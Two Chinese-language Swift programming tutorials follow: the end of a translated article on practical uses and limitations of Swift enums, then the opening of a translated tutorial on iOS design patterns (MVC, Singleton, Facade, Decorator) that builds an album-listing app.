	Process 这个枚举包含了当前进程的命令行参数(Process.argc, Process.arguments)。这是一个相当有趣的枚举类型，因为在 Swift 1.0 当中，它是被作为一个结构体来实现的。




实践用例

我们已经在前面几个小节当中看过了许多有用的枚举类型。包括 Optional，Either, FileNode 还有二叉树。然而，还存在很多场合，使用枚举要胜过使用结构体和类。一般来讲，如果问题可以被分解为有限的不同类别，则使用枚举应该就是正确的选择。即使只有两种 case，这也是一个使用枚举的完美场景，正如 Optional 和 Either 类型所展示的。

以下列举了一些枚举类型在实战中的使用示例，可以用来点燃你的创造力。

错误处理

说到枚举的实践使用，当然少不了在 Swift 2.0 当中新推出的错误处理。标记为可抛出的函数可以抛出任何遵守了 ErrorType 空协议的类型。正如 Swift 官方文档中所写的：

Swift 的枚举特别适用于构建一组相关的错误状态，可以通过关联值来为其增加额外的附加信息。



作为一个示例，我们来看下流行的JSON解析框架 Argo。当 JSON 解析失败的时候，它有可能是以下两种主要原因：


	JSON 数据缺少某些最终模型所需要的键(比如你的模型有一个 username 的属性，但是 JSON 中缺少了)


	存在类型不匹配，比如说 username 需要的是 String 类型，而 JSON 中包含的是 NSNull6。




除此之外，Argo 还为不包含在上述两个类别中的错误提供了自定义错误。它们的 ErrorType 枚举是类似这样的：


enum DecodeError: ErrorType {
  case TypeMismatch(expected: String, actual: String)
  case MissingKey(String)
  case Custom(String)
}


所有的 case 都有一个关联值用来包含关于错误的附加信息。

一个更加通用的用于完整 HTTP / REST API 错误处理的ErrorType应该是类似这样的：


enum APIError : ErrorType {
    // Can't connect to the server (maybe offline?)
    case ConnectionError(error: NSError)
    // The server responded with a non 200 status code
    case ServerError(statusCode: Int, error: NSError)
    // We got no data (0 bytes) back from the server
    case NoDataError
    // The server response can't be converted from JSON to a Dictionary
    case JSONSerializationError(error: ErrorType)
    // The Argo decoding Failed
    case JSONMappingError(converstionError: DecodeError)
}


这个 ErrorType 实现了完整的 REST 程序栈解析有可能出现的错误，包含了所有在解析结构体与类时会出现的错误。

如果你看得够仔细，会发现在JSONMappingError中，我们将Argo中的DecodeError封装到了我们的APIError类型当中，因为我们会用 Argo 来作实际的 JSON 解析。

更多关于ErrorType以及此种枚举类型的示例可以参看官方文档。

观察者模式

在 Swift 当中，有许多方法来构建观察模式。如果使用 @objc 兼容标记，则我们可以使用 NSNotificationCenter 或者 KVO。即使不用这个标记，didSet语法也可以很容易地实现简单的观察模式。在这里可以使用枚举，它可以使被观察者的变化更加清晰明了。设想我们要对一个集合进行观察。如果我们稍微思考一下就会发现这只有几种可能的情况：一个或多个项被插入，一个或多个项被删除，一个或多个项被更新。这听起来就是枚举可以完成的工作：


enum Change {
     case Insertion(items: [Item])
     case Deletion(items: [Item])
     case Update(items: [Item])
}


之后，观察对象就可以使用一个很简洁的方式来获取已经发生的事情的详细信息。这也可以通过为其增加 oldValue 和 newValue 的简单方法来扩展它的功能。

状态码

如果我们正在使用一个外部系统，而这个系统使用了状态码(或者错误码)来传递错误信息，类似 HTTP 状态码，这种情况下枚举就是一种很明显并且很好的方式来对信息进行封装7 。


enum HttpError: String {
  case Code400 = "Bad Request"
  case Code401 = "Unauthorized"
  case Code402 = "Payment Required"
  case Code403 = "Forbidden"
  case Code404 = "Not Found"
}

结果类型映射(Map Result Types)

枚举也经常被用于将 JSON 解析后的结果映射成 Swift 的原生类型。这里有一个简短的例子：


enum JSON {
    case JSONString(Swift.String)
    case JSONNumber(Double)
    case JSONObject([String : JSONValue])
    case JSONArray([JSONValue])
    case JSONBool(Bool)
    case JSONNull
}


类似地，如果我们解析了其它的东西，也可以使用这种方式将解析结果转化我们 Swift 的类型。

UIKit 标识

枚举可以用来将字符串类型的重用标识或者 storyboard 标识映射为类型系统可以进行检查的类型。假设我们有一个拥有很多原型 Cell 的 UITableView：


enum CellType: String {
    case ButtonValueCell = "ButtonValueCell"
    case UnitEditCell = "UnitEditCell"
    case LabelCell = "LabelCell"
    case ResultLabelCell = "ResultLabelCell"
}


单位

单位以及单位转换是另一个使用枚举的绝佳场合。可以将单位及其对应的转换率映射起来，然后添加方法来对单位进行自动的转换。以下是一个相当简单的示例：


enum Liquid: Float {
  case ml = 1.0
  case l = 1000.0
  func convert(amount amount: Float, to: Liquid) -> Float {
      if self.rawValue < to.rawValue {
     return (self.rawValue / to.rawValue) * amount
      } else {
     return (self.rawValue * to.rawValue) * amount
      }
  }
}
// Convert liters to milliliters
print (Liquid.l.convert(amount: 5, to: Liquid.ml))


另一个示例是货币的转换。以及数学符号(比如角度与弧度)也可以从中受益。

游戏

游戏也是枚举中的另一个相当好的用例，屏幕上的大多数实体都属于一个特定种族的类型(敌人，障碍，纹理，...)。相对于本地的 iOS 或者 Mac 应用，游戏更像是一个白板。即开发游戏我们可以使用全新的对象以及全新的关联创造一个全新的世界，而 iOS 或者 OSX 需要使用预定义的 UIButtons，UITableViews，UITableViewCells 或者 NSStackView.

不仅如此，由于枚举可以遵守协议，我们可以利用协议扩展和基于协议的编程为不同为游戏定义的枚举增加功能。这里是一个用来展示这种层级的的简短示例：


enum FlyingBeast { case Dragon, Hippogriff, Gargoyle }
enum Horde { case Ork, Troll }
enum Player { case Mage, Warrior, Barbarian }
enum NPC { case Vendor, Blacksmith }
enum Element { case Tree, Fence, Stone }

protocol Hurtable {}
protocol Killable {}
protocol Flying {}
protocol Attacking {}
protocol Obstacle {}

extension FlyingBeast: Hurtable, Killable, Flying, Attacking {}
extension Horde: Hurtable, Killable, Attacking {}
extension Player: Hurtable, Obstacle {}
extension NPC: Hurtable {}
extension Element: Obstacle {}


字符串类型化

在一个稍微大一点的 Xcode 项目中，我们很快就会有一大堆通过字符串来访问的资源。在前面的小节中，我们已经提过重用标识和 storyboard 的标识，但是除了这两样，还存在很多资源：图像，Segues，Nibs，字体以及其它资源。通常情况下，这些资源都可以分成不同的集合。如果是这样的话，一个类型化的字符串会是一个让编译器帮我们进行类型检查的好方法。


enum DetailViewImages: String {
  case Background = "bg1.png"
  case Sidebar = "sbg.png"
  case ActionButton1 = "btn1_1.png"
  case ActionButton2 = "btn2_1.png"
}


对于 iOS 开发者，R.swift这个第三方库可以为以上提到的情况自动生成结构体。但是有些时候你可能需要有更多的控制(或者你可能是一个Mac开发者8)。

API 端点

Rest API 是枚举的绝佳用例。它们都是分组的，它们都是有限的 API 集合，并且它们也可能会有附加的查询或者命名的参数，而这可以使用关联值来实现。

这里有个 Instagram API 的简化版：


enum Instagram {
  enum Media {
    case Popular
    case Shortcode(id: String)
    case Search(lat: Float, min_timestamp: Int, lng: Float, max_timestamp: Int, distance: Int)
  }
  enum Users {
    case User(id: String)
    case Feed
    case Recent(id: String)
  }
}


Ash Furrow的Moya框架就是基本这个思想，使用枚举对 rest 端点进行映射。

链表

Airspeed Velocity有一篇极好的文章说明了如何使用枚举来实现一个链表。那篇文章中的大多数代码都超出了枚举的知识，并涉及到了大量其它有趣的主题9，但是，链表最基本的定义是类似这样的(我对其进行了一些简化)：


enum List {
    case End
    indirect case Node(Int, next: List)
}


每一个节点(Node) case 都指向了下一个 case， 通过使用枚举而非其它类型，我们可以避免使用一个可选的 next 类型以用来表示链表的结束。

Airspeed Velocity 还写过一篇超赞的博客，关于如何使用 Swift 的间接枚举类型来实现红黑树，所以如果你已经阅读过关于链表的博客，你可能想继续阅读这篇关于红黑树的博客。

设置字典(Setting Dictionaries)

这是 Erica Sadun 提出的非常非常机智的解决方案。简单来讲，就是任何我们需要用一个属性的字典来对一个项进行设置的时候，都应该使用一系列有关联值的枚举来替代。使用这方法，类型检查系统可以确保配置的值都是正确的类型。

关于更多的细节，以及合适的例子，可以阅读下她的文章。

局限

与之前类似，我将会用一系列枚举的局限性来结束本篇文章。

提取关联值

David Owens写过一篇文章，他觉得当前的关联值提取方式是很笨重的。我墙裂推荐你去看一下他的原文，在这里我对它的要旨进行下说明：为了从一个枚举中获取关联值，我们必须使用模式匹配。然而，关联值就是关联在特定枚举 case 的高效元组。而元组是可以使用更简单的方式来获取它内部值，即 .keyword 或者 .0。


// Enums
enum Ex { case Mode(ab: Int, cd: Int) }
if case Ex.Mode(let ab, let cd) = Ex.Mode(ab: 4, cd: 5) {
    print(ab)
}
// vs tuples:
let tp = (ab: 4, cd: 5)
print(tp.ab)


如果你也同样觉得我们应该使用相同的方法来对枚举进行解构(deconstruct)，这里有个 rdar: rdar://22704262 (译者注：一开始我不明白 rdar 是啥意思，后来我 google 了下，如果你也有兴趣，也可以自己去搜索一下)

相等性

拥有关联值的枚举没有遵守 equatable 协议。这是一个遗憾，因为它为很多事情增加了不必要的复杂和麻烦。深层的原因可能是因为关联值的底层使用是使用了元组，而元组并没有遵守 equatable 协议。然而，对于限定的 case 子集，如果这些关联值的类型都遵守了 equatable 类型，我认为编译器应该默认为其生成 equatable 扩展。


// Int 和 String 是可判等的, 所以 Mode 应该也是可判等的
enum Ex { case Mode(ab: Int, cd: String) }

// Swift 应该能够自动生成这个函数
func == (lhs: Ex.Mode, rhs: Ex.Mode) -> Bool {
    switch (lhs, rhs) {
       case (.Mode(let a, let b), .Mode(let c, let d)):
       return a == c && b == d
       default:
       return false
    }
}


元组(Tuples)

最大的问题就是对元组的支持。我喜欢使用元组，它们可以使很多事情变得更简单，但是他们目前还处于无文档状态并且在很多场合都无法使用。在枚举当中，我们无法使用元组作为枚举的值：


enum Devices: (intro: Int, name: String) {
  case iPhone = (intro: 2007, name: "iPhone")
  case AppleTV = (intro: 2006, name: "Apple TV")
  case AppleWatch = (intro: 2014, name: "Apple Watch")
}


这似乎看起来并不是一个最好的示例，但是我们一旦开始使用枚举，就会经常陷入到需要用到类似上面这个示例的情形中。

迭代枚举的所有case

这个我们已经在前面讨论过了。目前还没有一个很好的方法来获得枚举中的所有 case 的集合以使我们可以对其进行迭代。

默认关联值

另一个会碰到的事是枚举的关联值总是类型，但是我们却无法为这些类型指定默认值。假设有这样一种情况:


enum Characters {
  case Mage(health: Int = 70, magic: Int = 100, strength: Int = 30)
  case Warrior(health: Int = 100, magic: Int = 0, strength: Int = 100)
  case Neophyte(health: Int = 50, magic: Int = 20, strength: Int = 80)
}


我们依然可以使用不同的值创建新的 case，但是角色的默认设置依然会被映射。

变化

10/26/2015


	增加局限性示例(相等性 & 获取关联值)


	增加 Erica Sadun 的关联枚举示例




10/22/2015


	合并来自 #6 @mabidakun的PR


	增加枚举底层的链接


	将帐号示例拆分为两个更容易理解的片段。




10/21/2015


	合并来自 #4 @blixt和#2 @kandelvijayavolare和#3 @sriniram以及#5 @SixFiveSoftware的PR


	为帐号示例添加调用代码


	增加 ErrorType 示例




解释




	1、可以使用一些小技术来达到这个目的，具体的请参照下面的文章内容



	2、为了演示的缘故，这个示例的实现经过的简化。在真实的开发中，应该使用可选类型以及反向顺序的参数。可以参考一下现在十分流行的函数式编程库，如 Swiftz 和 Dollar



	3、这个示例直接采用了Swift 官方文档的示例



	4、经常使得他们定义的位置很难被发现



	5、这是一个简化版的，当然，Swift 为我们加了很多的语法糖



	6、如果你在应用中使用过 JSON，应该也曾经碰到过这个问题



	7、顺便一提，不能直接使用数字做为枚举 case 的名称，因此直接使用 400 是不行的



	8、虽然如此，不过支持 Mac 版的 R.swift 好像就快推出了



	9、这句话可以解释为: 打开链接，并开始阅读文章




本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。
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更新声明


翻译自 Introducing iOS Design Patterns in Swift – Part 1/2 ，本教程 objc 版本的作者是 Eli Ganem ，由 Vincent Ngo 更新为 Swift 版本。


妈蛋这文章太长了，再加上每天加班到10点多基本没时间，拖了10几天才完成。。。


iOS 设计模式


说到设计模式，相信大家都不陌生，但是又有多少人知道它背后的真正含义？绝大多数程序员都知道设计模式十分重要，不过关于这个话题的文章却不是很多，开发者们在开发的时候有时也不太在意设计模式方面的内容。


设计模式针对软件设计中的常见问题，提供了一些可复用的解决方案，开发者可以通过这些模板写出易于理解且能够复用的代码。正确的使用设计模式可以降低代码之间的耦合度，从而很轻松的修改或者替换以前的代码。


如果你对设计模式还很陌生，那么告诉你一个好消息！在 iOS 的开发过程中，其实你不知不觉已经用了很多设计模式。这得益于 Cocoa 提供的框架和一些良好的编程习惯。接下来的这篇教程将会带你一起飞，去领略设计模式的魅力。


整个教程分为两篇文章，通过整个系列的学习，我们将会完成一个完整的应用，展示音乐专辑和专辑的相关信息。


通过这个应用，我们会接触一些 Cocoa 中常见的设计模式：



	创建型 (Creational)：单例模式 (Singleton)

	结构型 (Structural)：MVC、装饰者模式 （Decorator）、适配器模式 (Adapter)、外观模式 (Facade)

	行为型 (Behavioral)：观察者模式 (Observer)、备忘录模式 (Memento)



嘿嘿嘿别愁眉苦脸的嘛，这篇文章不是什么长篇大论的理论知识，你会在开发应用的过程中慢慢学会这些设计模式。


先来预览一下最终的结果：





看起来还是不错的，开始学习接下来的内容吧。勇敢的少年们，快来创造奇迹！


开始


下载初始项目并解压，在 Xcode 中打开 BlueLibrarySwift.xcodeproj 项目文件。


项目中有三个地方需要注意一下：



	ViewController 有两个 IBOutlet ，分别连接到了 UITableView 和 UIToolBar 上。


	在 StoryBoard 上有三个组件设置了约束。最上面的是专辑的封面，封面下面是列举了相关专辑的列表，最下面是有两个按钮的工具栏，一个用来撤销操作，另一个用来删除你选中的专辑。 StoryBoard 看起来是这个样子的：








	一个简单的 HTTP 客户端类 （HTTPClient) ，里面还没有什么内容，需要你去完善。



注意：其实当你创建一个新的 Xcode 的项目的时候，你的代码里就已经有很多设计模式的影子了： MVC、委托、代理、单例 - 真是众里寻他千百度，得来全不费功夫。


在学习第一个设计模式之前，你需要创建两个类，用来存储和展示专辑数据。


创建一个新的类，继承 NSObject 名为 Album ，记得选择 Swift 作为编程语言然后点击下一步。


打开 Album.swift 然后添加如下定义：


var title : String!
var artist : String!
var genre : String!
var coverUrl : String!
var year : String!



这里创建了五个属性，分别对应专辑的标题、作者、流派、封面地址和出版年份。


接下来我们添加一个初始化方法：


init(title: String, artist: String, genre: String, coverUrl: String, year: String) {
  super.init()

  self.title = title
  self.artist = artist
  self.genre = genre
  self.coverUrl = coverUrl
  self.year = year
}



这样我们就可以愉快的初始化了。


然后再加上下面这个方法：


func description() -> String {
  return "title: \(title)" +
   "artist: \(artist)" +
   "genre: \(genre)" +
   "coverUrl: \(coverUrl)" +
   "year: \(year)"
}



这是专辑对象的描述方法，详细的打印了 Album 的所有属性值，方便我们查看变量各个属性的值。


接下来，再创建一个继承自 UIView 的视图类 AlbumView.swift。


在新建的类中添加两个属性：


private let coverImage: UIImageView! 
private let indicator: UIActivityIndicatorView!



coverImage 代表了封面的图片，indicator 则是在加载过程中显示的等待指示器。


这两个属性都是私有属性，因为除了 AlbumView 之外，其他类没有必要知道他俩的存在。在写一些框架或者类库的时候，这种规范十分重要，可以避免一些误操作。


接下来给这个类添加初始化化方法：


required init(coder aDecoder: NSCoder) {
    super.init(coder: aDecoder)
}

init(frame: CGRect, albumCover: String) {
    super.init(frame: frame)
    backgroundColor = UIColor.blackColor()
    coverImage = UIImageView(frame: CGRectMake(5, 5, frame.size.width - 10, frame.size.height - 10))
    addSubview(coverImage)
    indicator = UIActivityIndicatorView()
    indicator.center = center
    indicator.activityIndicatorViewStyle = .WhiteLarge
    indicator.startAnimating()
    addSubview(indicator)
}



因为 UIView 遵从 NSCoding 协议，所以我们需要 NSCoder 的初始化方法。不过目前我们没有 encode 和 decode 的必要，所以就把它放在那里就行，调用父类方法初始化即可。


在真正的初始化方法里，我们设置了一些初始化的默认值。比如设置背景颜色默认为黑色，创建 ImageView 并设置了 margin 值，添加了一个加载指示器。


最终我们再加上如下方法：


func highlightAlbum(#didHighlightView: Bool) {
    if didHighlightView == true {
        backgroundColor = UIColor.whiteColor()
    } else {
        backgroundColor = UIColor.blackColor()
    }
}



这会切换专辑的背景颜色，如果高亮就是白色，否则就是黑色。


在继续下面的内容之前， Command + B 试一下确保没有什么问题，一切正常？那就开始第一个设计模式的学习啦！:]


MVC - 设计模式之王





Model-View-Controller (缩写 MVC ) 是 Cocoa 框架的一部分，并且毋庸置疑是最常用的设计模式之一。它可以帮你把对象根据职责进行划分和归类。


作为划分依据的三个基本职责是：



	模型层 (Model) ：存储数据并且定义如何操作这些数据。在我们的例子中，就是 Album 类。

	视图层 (View) ：负责模型层的可视化展示，并且负责用户的交互，一般来说都是继承自 UIView 这个基类。在我们的项目中就是 AlbumView 这个类。

	控制器 (Controller) ：控制器是整个系统的掌控者，它连接了模型层和数据层，并且把数据在视图层展示出来，监听各种事件，负责数据的各种操作。不妨猜猜在我们的项目中哪个是控制器？啊哈猜对了：ViewController 这个类就是。



如果你的项目遵循 MVC 的设计模式，那么各种对象要不是 Model ，要不是 View ，要不就是 Controller。当然在实际的开发中也可以灵活变化，比如结合具体业务使用 MVVM 结构给 ViewController 瘦瘦身，也是可以的。


三者之间的关系如下：





模型层通知控制器层任何数据的变化，然后控制器层会刷新视图层中的数据。视图层可以通知控制器层用户的交互事件，然后控制器会处理各种事件以及刷新数据。


你可能会感觉奇怪：为什么要把这三个东西分开来，而不能揉在一个类里呢？那样似乎更简单一点嘛。


Naive.


之所以这样做，是为了将代码更好的分离和重用。理想状态下，视图层应当和模型层完全分离。如果视图层不依赖任何模型层的具体实现，那么就可以很容易的被其他模型复用，用来展示不同的数据。


举个例子，比如在未来我们需要添加电影或者什么书籍，我们依旧可以使用 AlbumView 这个类作为展示。更久远点来说，在以后如果你创建了一个新的项目并且需要用到和专辑相关的内容，你可以直接复用 Album 类因为它并不依赖于任何视图模块。这就是 MVC 的强大之处，三大元素，各司其职，减少依赖。


如何使用 MVC 模式


首先，你需要确定你的项目中的每个类都是三大基本类型中的一种：控制器、模型、视图。不要在一个类里糅合多个角色。目前我们创建了 Album 类和 AlbumView 类是符合要求的，做得很好。


然后，为了确保你遵循这种模式，你最好创建三个项目分组来存放代码，分别是 Model、View、Controller，保持每个类型的文件分别独立。


接下来把 Album.swift 拖到 Model 分组，把 AlbumView.swift 拖到 View 分组，然后把 ViewController.swift 拖到 Controller 分组中。


现在你的项目应该是这个样子：





现在你的项目已经有点样子了，不再是各个文件颠沛流离居无定所了。显然你还会有其他分组和类，但是应用的核心就在这三个类里。


现在你的内容已经组织好了，接下来要做的就是获取专辑的数据。你将会创建一个 API 类来管理数据 - 这里我们会用到下一个设计模式：单例模式。


单例模式


单例模式确保每个指定的类只存在一个实例对象，并且可以全局访问那个实例。一般情况下会使用延时加载的策略，只在第一次需要使用的时候初始化。


注意：在 iOS 中单例模式很常见，NSUserDefaults.standardUserDefaults() 、 UIApplication.sharedApplication() 、 UIScreen.mainScreen() 、 NSFileManager.defaultManager() 这些都是单例模式。


你可能会疑惑了：如果多于一个实例又会怎么样呢？代码和内存还没精贵到这个地步吧？


某些场景下，保持实例对象仅有一份是很有意义的。举个例子，你的应用实例 (UIApplication)，应该只有一个吧，显然是指你的当前应用。还有一个例子：设备的屏幕 (UIScreen) 实例也是这样，所以对于这些类的情况，你只想要一个实例对象。


单例模式的应用还有另一种情况：你需要一个全局类来处理配置文件。我们很容易通过单例模式实现线程安全的实例访问，而如果有多个类可以同时访问配置文件，那可就复杂多了。


如何使用单例模式


可以看下这个图：





这是一个日志类，有一个属性 (是一个单例对象) 和两个方法 (sharedInstance() 和 init())。


第一次调用 sharedInstance() 的时候，instance 属性还没有初始化。所以我们要创建一个新实例并且返回。


下一次你再调用 sharedInstance() 的时候，instance 已经初始化完成，直接返回即可。这个逻辑确保了这个类只存在一个实例对象。


接下来我们继续完善单例模式，通过这个类来管理专辑数据。


注意到在我们前面的截图里，分组中有个 API 分组，这里可以放那些提供后台服务的类。在这个分组中创建一个新的文件 LibraryAPI.swift ，继承自 NSObject 类。


在 LibraryAPI 里添加下面这段代码：


//1
class var sharedInstance: LibraryAPI {
    //2
    struct Singleton {
        //3
        static let instance = LibraryAPI()
    }
    //4
    return Singleton.instance
}



在这几行代码里，做了如下工作：



	创建一个计算类型的类变量，这个类变量，就像是 objc 中的静态方法一样，可以直接通过类访问而不用实例对象。具体可参见苹果官方文档的 属性 这一章。


	在类变量里嵌套一个 Singleton 结构体。


	Singleton 封装了一个静态的常量，通过 static 定义意味着这个属性只存在一个，注意 Swift 中 static 的变量是延时加载的，意味着 Instance 直到需要的时候才会被创建。同时再注意一下，因为它是一个常量，所以一旦创建之后不会再创建第二次。这些就是单例模式的核心所在：一旦初始化完成，当前类存在一个实例对象，初始化方法就不会再被调用。


	返回计算后的属性值。




注意：更多的单例模式实例可以看看 Github 上的这个示例，列举了单例模式的若干种实现方式。


你现在可以将这个单例作为专辑管理类的入口，接下来我们继续创建一个处理专辑数据持久化的类。


新建 PersistencyManager.swift 并添加如下代码：


private var albums = [Album]()



在这里我们定义了一个私有属性，用来存储专辑数据。这是一个可变数组，所以你可以很容易的增加或者删除数据。


然后加上一些初始化的数据：


override init() {
  //Dummy list of albums
  let album1 = Album(title: "Best of Bowie",
         artist: "David Bowie",
         genre: "Pop",
         coverUrl: "http://www.coversproject.com/static/thumbs/album/album_david%20bowie_best%20of%20bowie.png",
         year: "1992")

  let album2 = Album(title: "It's My Life",
         artist: "No Doubt",
         genre: "Pop",
         coverUrl: "http://www.coversproject.com/static/thumbs/album/album_no%20doubt_its%20my%20life%20%20bathwater.png",
         year: "2003")

  let album3 = Album(title: "Nothing Like The Sun",
         artist: "Sting",
         genre: "Pop",
         coverUrl: "http://www.coversproject.com/static/thumbs/album/album_sting_nothing%20like%20the%20sun.png",
         year: "1999")

  let album4 = Album(title: "Staring at the Sun",
         artist: "U2",
         genre: "Pop",
         coverUrl: "http://www.coversproject.com/static/thumbs/album/album_u2_staring%20at%20the%20sun.png",
         year: "2000")

  let album5 = Album(title: "American Pie",
         artist: "Madonna",
         genre: "Pop",
         coverUrl: "http://www.coversproject.com/static/thumbs/album/album_madonna_american%20pie.png",
         year: "2000")

  albums = [album1, album2, album3, album4, album5]
}



在这个初始化方法里，我们初始化了五张专辑。如果上面的专辑没有你喜欢的，你可以随意替换成你的菜:]


然后添加如下方法：


func getAlbums() -> [Album] {
  return albums
}

func addAlbum(album: Album, index: Int) {
  if (albums.count >= index) { 
    albums.insert(album, atIndex: index)
  } else {
    albums.append(album)
  }
}

func deleteAlbumAtIndex(index: Int) {
  albums.removeAtIndex(index)
}



这些方法可以让你自由的访问、添加、删除专辑数据。


这时你可以运行一下你的项目，确保编译通过以便进行下一步操作。


此时你或许会感到好奇： PersistencyManager 好像不是单例啊？是的，它确实不是单例。不过没关系，在接下来的外观模式章节，你会看到 LibraryAPI 和 PersistencyManager 之间的联系。


外观模式





外观模式在复杂的业务系统上提供了简单的接口。如果直接把业务的所有接口直接暴露给使用者，使用者需要单独面对这一大堆复杂的接口，学习成本很高，而且存在误用的隐患。如果使用外观模式，我们只要暴露必要的 API 就可以了。


下图演示了外观模式的基本概念：





API 的使用者完全不知道这内部的业务逻辑有多么复杂。当我们有大量的类并且它们使用起来很复杂而且也很难理解的时候，外观模式是一个十分理想的选择。


外观模式把使用和背后的实现逻辑成功解耦，同时也降低了外部代码对内部工作的依赖程度。如果底层的类发生了改变，外观的接口并不需要做修改。


举个例子，如果有一天你想换掉所有的后台服务，你只需要修改 API 内部的代码，外部调用 API 的代码并不会有改动。


如何使用外观模式


现在我们用 PersistencyManager 来管理专辑数据，用 HTTPClient 来处理网络请求，项目中的其他类不应该知道这个逻辑。他们只需要知道 LibraryAPI 这个“外观”就可以了。


为了实现外观模式，应该只让 LibraryAPI 持有 PersistencyManager 和 HTTPClient 的实例，然后 LibraryAPI 暴露一个简单的接口给其他类来访问，这样外部的访问类不需要知道内部的业务具体是怎样的，也不用知道你是通过 PersistencyManager 还是 HTTPClient 获取到数据的。


大致的设计是这样的：





LibraryAPI 会暴露给其他代码访问，但是 PersistencyManager 和 HTTPClient 则是不对外开放的。


打开 LibraryAPI.swift 然后添加如下代码：


private let persistencyManager: PersistencyManager
private let httpClient: HTTPClient
private let isOnline: Bool



除了两个实例变量之外，还有个 Bool 值： isOnline ，这个是用来标识当前是否为联网状态的，如果是联网状态就会去网络获取数据。


我们需要在 init 里面初始化这些变量：


override init() {
  persistencyManager = PersistencyManager()
  httpClient = HTTPClient()
  isOnline = false

  super.init()
}



HTTPClient 并不会直接和真实的服务器交互，只是用来演示外观模式的使用。所以 inOnline 这个值我们一直设置为 false。


接下来在 LibraryAPI.swift 里添加如下代码：


func getAlbums() -> [Album] {
  return persistencyManager.getAlbums()
}

func addAlbum(album: Album, index: Int) {
  persistencyManager.addAlbum(album, index: index)
  if isOnline {
    httpClient.postRequest("/api/addAlbum", body: album.description())
  }
}

func deleteAlbum(index: Int) {
  persistencyManager.deleteAlbumAtIndex(index)
  if isOnline {
    httpClient.postRequest("/api/deleteAlbum", body: "\(index)")
  }
}



看一下 addAlbum(_:index:) 这个方法，先更新本地缓存，然后如果是联网状态还需要向服务器发送网络请求。这便是外观模式的强大之处：如果外部文件想要添加一个新的专辑，它不会也不用去了解内部的实现逻辑是怎么样的。


注意：当你设计外观的时候，请务必牢记：使用者随时可能直接访问你的隐藏类。永远不要假设使用者会遵循你当初的设计做事。


运行一下你的应用，你可以看到两个空的页面和一个工具栏：最上面的视图用来展示专辑封面，下面的视图展示数据列表。





你需要在屏幕上展示专辑数据，这是就该用下一种设计模式了：装饰者模式。


装饰者模式


装饰者模式可以动态的给指定的类添加一些行为和职责，而不用对原代码进行任何修改。当你需要使用子类的时候，不妨考虑一下装饰者模式，可以在原始类上面封装一层。


在 Swift 里，有两种方式实现装饰者模式：扩展 (Extension) 和委托 (Delegation)。


扩展


扩展是一种十分强大的机制，可以让你在不用继承的情况下，给已存在的类、结构体或者枚举类添加一些新的功能。最重要的一点是，你可以在你没有访问权限的情况下扩展已有类。这意味着你甚至可以扩展 Cocoa 的类，比如 UIView 或者 UIImage 。


举个例子，在编译时新加的方法可以像扩展类的正常方法一样执行。这和装饰器模式有点不同，因为扩展不会持有扩展类的对象。


如何使用扩展


想象一下这个场景，我们需要在下面这个列表里展示数据：





专辑标题从哪里来？ Album 本身是个 Model 对象，所以它不应该负责如何展示数据。你需要一些额外的代码添加展示数据的逻辑，但是为了保持 Model 的干净，我们不应该直接修改代码，因为这样不符合单一职责原则。 Model 层最好就是负责纯粹的数据结构，如果有数据的操作可以放到扩展中完成。


接下来我们会创建一个扩展，扩展现有的 Album 类，在扩展里定义了新的方法，返回更适合 UITableView 展示用的数据结构。


数据的结构大概是这样：





新建一个 Swift 文件：AlbumExtensions ，在里面添加如下扩展：


extension Album {
  func ae_tableRepresentation() -> (titles:[String], values:[String]) {
    return (["Artist", "Album", "Genre", "Year"], [artist, title, genre, year])
  }
}



在方法的前面有个 ae_ 前缀，是 AlbumExtension 的缩写，这样有利于和类的原有方法进行区分，避免使用的时候产生冲突。现在很多还在维护中的第三方库都已经改成了这个风格。


注意：类是可以重写父类方法的，但是在扩展里不可以。扩展里的方法和属性不能和原始类里的方法和属性冲突。


思考一下这个设计模式的强大之处：



	我们可以直接在扩展里使用 Album 里的属性。

	我们给 Album 类添加了内容但是并没有继承它，事实上，使用继承来扩展业务也可以实现一样的功能。

	这个简单的扩展让我们可以更好地把 Album 的数据展示在 UITableView 里，而且不用修改源码。



委托


装饰者模式的另一种实现方案是委托。在这种机制下，一个对象可以和另一个对象相关联。比如你在用 UITableView ，你必须实现 tableView(_:numberOfRowsInSection:) 这个委托方法。


你不应该指望 UITableView 知道你有多少数据，这是个应用层该解决的问题。所以，数据相关的计算应该通过 UITableView 的委托来解决。这样可以让 UITableView 和数据层分别独立。视图层就负责显示数据，你递过来什么我就显示什么。


下面这张图很好的解释了 UITableView 的工作过程：





UITableView 的工作仅仅是展示数据，但是最终它需要知道自己要展示那些数据，这时就可以向它的委托询问。在 objc 的委托模式里，一个类可以通过协议来声明可选或者必须的方法。


看起来似乎继承然后重写必须的方法来的更简单一点。但是考虑一下这个问题：继承的结果必定是一个独立的类，如果你想让某个对象成为多个对象的委托，那么子类这招就行不通了。


注意：委托模式十分重要，苹果在 UIKit 中大量使用了该模式，基本上随处可见。


如何使用委托模式


打开 ViewController.swift 文件，添加如下私有变量：


private var allAlbums = [Album]()
private var currentAlbumData : (titles:[String], values:[String])?
private var currentAlbumIndex = 0



在 viewDidLoad 里面加入如下内容：


override func viewDidLoad() {
    super.viewDidLoad()
    //1
    self.navigationController?.navigationBar.translucent = false
    currentAlbumIndex = 0

    //2
    allAlbums = LibraryAPI.sharedInstance.getAlbums()

    // 3
    // the uitableview that presents the album data
    dataTable.delegate = self
    dataTable.dataSource = self
    dataTable.backgroundView = nil
    view.addSubview(dataTable!)       
}



对上面三个部分进行拆解：



	关闭导航栏的透明效果


	通过 API 获取所有的专辑数据，记住，我们使用外观模式之后，应该从 LibraryAPI 获取数据，而不是 PersistencyManager 。


	你可以在这里设置你的 UITablweView ，在这里声明了 UITableView 的 delegate 是当前的 ViewController 。事实上你用了 XIB 或者 StoryBoard ，可以直接在可视化的页面里拖拽完成。




接下来添加一个新的方法用来更方便的获取数据：


func showDataForAlbum(albumIndex: Int) {
    // defensive code: make sure the requested index is lower than the amount of albums
    if (albumIndex < allAlbums.count && albumIndex > -1) {
        //fetch the album
        let album = allAlbums[albumIndex]
        // save the albums data to present it later in the tableview
        currentAlbumData = album.ae_tableRepresentation()
    } else {
        currentAlbumData = nil
    }
    // we have the data we need, let's refresh our tableview
    dataTable!.reloadData()
} 



showDataForAlbum() 这个方法获取最新的专辑数据，当你想要展示新数据的时候，你需要调用 reloadData() 这个方法，这样 UITableView 就会向委托请求数据，比如有多少个 section 有多少个 row 之类的。


在 viewDidLoad 里面调用上面的方法：


self.showDataForAlbum(currentAlbumIndex)



